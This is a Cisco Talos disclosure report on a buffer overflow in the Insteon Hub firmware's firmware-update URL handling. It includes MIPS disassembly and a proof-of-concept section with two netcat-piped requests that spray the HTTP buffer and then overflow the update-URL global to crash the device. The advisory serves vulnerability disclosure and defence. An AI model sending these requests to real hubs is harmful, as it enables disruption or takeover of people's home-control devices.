Talos Vulnerability Report

TALOS-2017-0493

Insteon Hub HTTPExecuteGet Firmware Update URL Parameter Code Execution Vulnerability

June 19, 2018
CVE Number

CVE-2017-14444

Summary

An exploitable buffer overflow vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly handles the URL parameter during a firmware update request, leading to a buffer overflow on a global section. An attacker can send an HTTP GET request to trigger this vulnerability.

Tested Versions

Insteon Hub 2245-222 - Firmware version 1012

Product URLs

http://www.insteon.com/insteon-hub

CVSSv3 Score

8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.

The firmware uses Microchip’s “Libraries for Applications” as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.

One of the default tasks defined by Microchip’s “Libraries for Applications” is called HTTPServer. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own. One of these is the HTTPExecuteGet function, which is called when a GET request is received.

The HTTPServer task fills the global structure curHTTP, which has type HTTP_CONN.

// Stores extended state data for each connection
typedef struct
{
    DWORD byteCount;                    // How many bytes have been read so far
    DWORD nextCallback;                 // Byte index of the next callback
    DWORD callbackID;                   // Callback ID to execute, also used as watchdog timer
    DWORD callbackPos;                  // Callback position indicator
    BYTE *ptrData;                      // Points to first free byte in data
    BYTE *ptrRead;                      // Points to current read location
    FILE_HANDLE file;                   // File pointer for the file being served
    FILE_HANDLE offsets;                // File pointer for any offset info being used
    BYTE hasArgs;                       // True if there were get or cookie arguments
    BYTE isAuthorized;                  // 0x00-0x79 on fail, 0x80-0xff on pass
    HTTP_STATUS httpStatus;             // Request method/status
    HTTP_FILE_TYPE fileType;            // File type to return with Content-Type
    BYTE data[HTTP_MAX_DATA_LEN];       // General purpose data buffer
    #if defined(HTTP_USE_POST)
    BYTE smPost;                        // POST state machine variable
    #endif
} HTTP_CONN;

extern HTTP_CONN curHTTP;

The developer implementing the HTTPExecuteGet function can thus access curHTTP to implement its logic. Note that HTTPExecuteGet is only reached if a valid basic-auth string is provided.

seg000:9D02C758                 insteon_HTTPExecuteGet:
seg000:9D02C758
seg000:9D02C758                 filename= -0x98
seg000:9D02C758                 req_pointers= -0x84
seg000:9D02C758                 getparam_1= -0x80
seg000:9D02C758                 getparam_2= -0x7C
seg000:9D02C758                 getparam_3= -0x78
seg000:9D02C758                 getparam_4= -0x74
seg000:9D02C758                 var_20  = -0x20
seg000:9D02C758                 var_1C  = -0x1C
seg000:9D02C758                 var_18  = -0x18
seg000:9D02C758                 var_14  = -0x14
seg000:9D02C758                 var_10  = -0x10
seg000:9D02C758                 var_C   = -0xC
seg000:9D02C758                 var_8   = -8
seg000:9D02C758                 var_4   = -4
seg000:9D02C758
seg000:9D02C758 000 58 FF BD 27         addiu   $sp, -0xA8
seg000:9D02C75C 0A8 A4 00 BF AF         sw      $ra, 0xA8+var_4($sp)
seg000:9D02C760 0A8 A0 00 B6 AF         sw      $s6, 0xA8+var_8($sp)
seg000:9D02C764 0A8 9C 00 B5 AF         sw      $s5, 0xA8+var_C($sp)
seg000:9D02C768 0A8 98 00 B4 AF         sw      $s4, 0xA8+var_10($sp)
seg000:9D02C76C 0A8 94 00 B3 AF         sw      $s3, 0xA8+var_14($sp)
seg000:9D02C770 0A8 90 00 B2 AF         sw      $s2, 0xA8+var_18($sp)
seg000:9D02C774 0A8 8C 00 B1 AF         sw      $s1, 0xA8+var_1C($sp)
seg000:9D02C778 0A8 88 00 B0 AF         sw      $s0, 0xA8+var_20($sp)
seg000:9D02C77C 0A8 83 0F 41 0F         jal     sub_9d043e0c                            # [1]
seg000:9D02C780 0A8 24 00 A4 27         addiu   $a0, $sp, 0xA8+req_pointers             # [2]
seg000:9D02C784 0A8 21 90 40 00         move    $s2, $v0                                # [3]
seg000:9D02C788 0A8 10 00 A5 27         addiu   $a1, $sp, 0xA8+filename
seg000:9D02C78C 0A8 24 00 A5 AF         sw      $a1, 0xA8+req_pointers($sp)
seg000:9D02C790 0A8 00 A0 10 3C+        li      $s0, curHTTP
seg000:9D02C798 0A8 18 00 04 92         lbu     $a0, (curHTTP_file - 0xA0000CD8)($s0)
seg000:9D02C79C 0A8 DE 7F 41 0F         jal     MPFSGetFilename
seg000:9D02C7A0 0A8 14 00 06 24         li      $a2, 0x14
seg000:9D02C7A4 0A8 18 00 03 92         lbu     $v1, (curHTTP_file - 0xA0000CD8)($s0)
seg000:9D02C7A8 0A8 FF 00 02 24         li      $v0, 0xFF                               # [4]
seg000:9D02C7AC 0A8 37 03 62 10         beq     $v1, $v0, loc_9D02D48C
seg000:9D02C7B0 0A8 FC 83 82 8F         lw      $v0, -0x7C04($gp)

The function calls sub_9d043e0c at [1] passing a local array of pointers ([2]): this function reads the GET parameters from curHTTP.data and inserts a pointer to each parameter into the array of pointers. It also returns the number of extracted parameters in $v0 ([3]). The requested path is then saved to filename by calling MPFSGetFilename and if the requested file doesn’t exist in the MPFS (Microchip Proprietary File System), curHTTP.file will contain 0xff (MPFS_INVALID_HANDLE [4]).

seg000:9D02D48C                 loc_9D02D48C:
seg000:9D02D48C 0A8 3C 84 80 A3                 sb      $zero, -0x7BC4($gp)
seg000:9D02D490
seg000:9D02D490                 loc_9D02D490:
seg000:9D02D490 0A8 03 00 52 2E                 sltiu   $s2, 3                          # [5]
seg000:9D02D494 0A8 E1 01 40 16                 bnez    $s2, loc_9D02DC1C
seg000:9D02D498 0A8 21 18 00 00                 move    $v1, $zero
seg000:9D02D49C 0A8 30 00 A2 8F                 lw      $v0, 0xA8+getparam_3($sp)       # [6]
seg000:9D02D4A0 0A8 00 00 43 90                 lbu     $v1, 0($v0)                     # [6]
seg000:9D02D4A4 0A8 24 00 A2 8F                 lw      $v0, 0xA8+req_pointers($sp)
seg000:9D02D4A8 0A8 00 00 43 A0                 sb      $v1, 0($v0)
seg000:9D02D4AC 0A8 24 00 A2 8F                 lw      $v0, 0xA8+req_pointers($sp)
seg000:9D02D4B0 0A8 00 00 42 90                 lbu     $v0, 0($v0)
seg000:9D02D4B4 0A8 D0 FF 42 24                 addiu   $v0, -0x30                      # [6]
seg000:9D02D4B8 0A8 FF 00 42 30                 andi    $v0, 0xFF
seg000:9D02D4BC 0A8 0A 00 43 2C                 sltiu   $v1, $v0, 0xA
seg000:9D02D4C0 0A8 0B 00 60 50                 beqzl   $v1, loc_9D02D4F0
seg000:9D02D4C4 0A8 01 00 02 24                 li      $v0, 1
seg000:9D02D4C8 0A8 01 00 03 24                 li      $v1, 1
seg000:9D02D4CC 0A8 13 01 43 10                 beq     $v0, $v1, loc_9D02D91C          # [6]
seg000:9D02D4D0 0A8 28 00 B0 8F                 lw      $s0, 0xA8+getparam_1($sp)       # [7]
...
seg000:9D02D91C                 loc_9D02D91C:
seg000:9D02D91C 0A8 00 00 02 92                 lbu     $v0, 0($s0)                     # [7]
seg000:9D02D920 0A8 73 00 03 24                 li      $v1, "s"
seg000:9D02D924 0A8 30 00 43 10                 beq     $v0, $v1, loc_9D02D9E8
seg000:9D02D928 0A8 75 00 03 24                 li      $v1, "u"                        # [7]
seg000:9D02D92C 0A8 05 00 43 10                 beq     $v0, $v1, loc_9D02D944
seg000:9D02D930 0A8 58 00 03 24                 li      $v1, "X"
seg000:9D02D934 0A8 B9 00 43 14                 bne     $v0, $v1, loc_9D02DC1C
seg000:9D02D938 0A8 21 18 00 00                 move    $v1, $zero
seg000:9D02D93C 0A8 84 B6 40 0B                 j       loc_9D02DA10
seg000:9D02D940 0A8 01 00 02 92                 lbu     $v0, 1($s0)
seg000:9D02D944
seg000:9D02D944                 loc_9D02D944:
seg000:9D02D944 0A8 00 A0 04 3C+                la      $a0, update_check_global_host   # [8]
seg000:9D02D94C 0A8 1F DF 41 0F                 jal     strcpy
seg000:9D02D950 0A8 2C 00 A5 8F                 lw      $a1, 0xA8+getparam_2($sp)
seg000:9D02D954 0A8 00 A0 04 3C+                la      $a0, update_check_global_uri    # [9]
seg000:9D02D95C 0A8 1F DF 41 0F                 jal     strcpy                          # [10]
seg000:9D02D960 0A8 34 00 A5 8F                 lw      $a1, 0xA8+getparam_4($sp)
seg000:9D02D964 0A8 21 20 00 02                 move    $a0, $s0
seg000:9D02D968 0A8 07 9D 05 3C                 lui     $a1, 0x9D07
seg000:9D02D96C 0A8 87 E7 41 0F                 jal     strcmp
seg000:9D02D970 0A8 E4 28 A5 24                 la      $a1, aUp_firm                   # "up_firm"
seg000:9D02D974 0A8 07 00 40 14                 bnez    $v0, loc_9D02D994
...

The function continues by checking a few constraints on the parameters. An interesting path exists with these conditions:

  • there are at least 3 parameters [5]
  • parameter 3 is “1” [6]
  • parameter 1 starts with “u” [7]

After these checks, the function copies parameter 2 to the global variable at 0xa00016e0 (variable containing the update host [8]) and parameter 4 to the global variable at 0xa00016a0 (variable containing the update URL [9]). If parameter 1 is either equal to “up_firm”, “up_bin” or “up_PLM”, the device will later perform an HTTP GET request using the global URL and host, in order to request a firmware update.

As we can see, the strcpy at [10] is performed using parameter 4 as source, which can be fully controlled by an attacker. Nevertheless, Microchip’s “Libraries for Applications” implements a basic buffer overflow check on HTTP requests, which limits the size of the HTTP data received to a maximum of 100 bytes.

    // Define the maximum data length for reading cookie and GET/POST arguments (bytes)
    #define HTTP_MAX_DATA_LEN       (100u)

Despite this limit, it’s possible to combine this bug with TALOS-2017-0492 in order to point parameter 4 to any unconstrained attacker-controlled buffer and effectively achieve code execution on the device.

Exploit Proof-of-Concept

The following proof of concept shows how to overflow the buffer and combines with TALOS-2017-0492 to overwrite a big portion of the global section and crash the device.

A first request can be done to spray a payload on the global section: the “HTTPServer” task is saving received data at around 0xa0002ca0, so it’s enough to send any HTTP request without authentication.

$ perl <<EOD | nc $INSTEON_IP 25105
print "GET / HTTP/1.0\r\n";
print "B"x0xb00,"\r\n";
print "\r\n\r\n";
EOD

After that we point parameter 4 to 0xa0002ca0 (by exploiting TALOS-2017-0492), so that strcpy will write past the update-URL buffer and will crash the device.

$ perl <<EOD | nc $INSTEON_IP 25105
print "GET /x?u&x&1& HTTP/1.0\r\n";
print "Authorization: Basic VXNlcm5hbWU6UGFzc3dvcmQ=\r\n";
print "A"x68,"\xa0\x2c\x00\xa0";
print "\r\n\r\n";
EOD

Timeline

2017-12-05 - Vendor Disclosure
2018-01-18 - Vendor advised issues under evaluation
2018-02-12 - 60 day follow up with vendor
2018-03-09 - Vendor advised working on course of action
2018-04-06 - Follow up with vendor on fix/timeline>br> 2018-04-12 - Vendor advised issues addressed & plan for beta testing
2018-06-19 - Public disclosure

Credit

Discovered by Claudio Bozzato of Cisco Talos.